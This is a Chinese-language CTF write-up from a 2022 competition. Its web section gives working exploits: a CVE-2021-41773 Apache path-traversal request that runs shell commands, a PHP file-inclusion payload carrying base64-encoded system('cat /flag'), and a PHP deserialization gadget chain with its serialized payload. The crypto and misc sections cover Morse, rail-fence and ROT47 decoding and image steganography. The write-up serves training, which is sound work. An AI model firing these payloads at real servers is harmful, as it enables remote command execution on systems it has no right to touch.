Web1
(题目序号 请参考解题总榜上面的序号)
操作内容:
如该题使用自己编写的脚本代码请详细写出,不允许截图
提示存在cve-2021-41773漏洞,那就直接执行命令看/flag
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 47.94.204.65:43035 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 14 echo;cat /flag |
flag值:flag{8b638132-49ce-4e8d-ba2a-6601586dcb83}
Web 2
(题目序号 请参考解题总榜上面的序号)
操作内容:
图片提示flag在蛋糕里,发现存在cream.php页面
可以看到给的源码,有文件包含
这里直接利用伪协议+php自带的临时文件构造payload,构造出?file=php://temp
源码中写了content会对关键词做过滤,那使用base64的思路进行绕过,用伪协议写入文件内容构造出、
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImNhdCAvZmxhZyIpOw==
URL: cream.php?file=php://temp&content=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oImNhdCAvZmxhZyIpOw==
flag值:flag{089b8efc-5590-479c-bc79-ac7e61afbe65}
Web 3
(题目序号 请参考解题总榜上面的序号)
操作内容:
下发容器,发现没有提示信息,查看常规信息路径,发现存在www.zip网站源码
跟着该源码访问,发现存在demo.php,直接开始审计源码
- 发现parse_url可以导致绕过
2.发现Circle类可引发代码执行
梳理利用链,在原来的代码上进行修改,直接回显序列化的内容
源码
拼接url:
///demo.php?data= O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D |
如该题使用自己编写的脚本代码请详细写出,不允许截图
<?php class Water{ public $waterfall; //p waterfall=new Circle(); public function __construct(){ $this->waterfall = array(); } public function __get($value){ $function = $this->waterfall; return $function(); } } class Circle{ public $daemon; protected $dash="system('nl /*');"; //public function __toString(){ // return $this->daemon; //} public function runc($value){ @eval($value); } public function __invoke(){ $this->runc($this->dash); } } class Range{ public $horis="system('nl /*');"; public $link; //public function __construct($link="link"){ // $this->link = $link; // echo $link; //} public function __toString(){ return $this->link->horis; } } class Sliver{ public $secret; public $resty;
public function __destruct(){ if(preg_match("/circle|gopher|http|file|ftp|https|dict|\.\./i", $this->secret)) { echo "no~no~no~"; } } function __wakeup(){ if ($this->secret != 'circle') { $this->secret = 'circle'; } } } $a = new Sliver(); $b = new Range(); $c = new Water(); $d = new Circle(); $a->secret = $b; $b->link = $c; $c->waterfall = $d; echo urlencode(serialize($a)); ?> |
flag值:flag{b9bec974-1c29-4e7b-ad0f-22751e5e5aa3}
coypto
打开后发现A和B的字母看着像摩斯密码
把A替换成- 把B替换成.
然后莫斯密码解密
然后用quip分析词频
得到flag
flag{1d817f23-4e20-9405-bf6d-e83d055316d6}
flag都是小写大写交的时候是错误的
corpyto2
栅栏密码
得到假的flag=FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]
ROT47解密查看32行31行
然后吧32行的数字和符号换成31行的数字和符号然后得到flag
flag{7914d2ce-880c-40c0-8167-2f77f3101b44}
MSIC1
先base64解密后用winhex查看
然后发现文件头不对
PNG文件头的01和23翻转下
然后运行百度来的处理脚本:
运行脚本得到图片
然后使用Stegsolve可查看到lsb的内容,再使用工具cloacked-pixel
key就是音乐的财富密码,万能和弦4536251,用这个key来解
得到
flag{5cc0aa21208b517dbd0bde650247237f}
MSIC3、
Winhex查看
然后使用binwalk -e 分解
分解出来secret.png
密码是刚刚winhex查看的文件尾
7his_1s_p4s5w0rd
然后lsb解密
python2 lsb.py extract secret.png f111.txt 7his_1s_p4s5w0rd
得到flag
标签:function,__,年强,WRITEUP,22%,3A%,flag,2022,public From: https://www.cnblogs.com/rule-linux/p/16920471.htmlflag{2e55f884-ef01-4654-87b1-cc3111800085}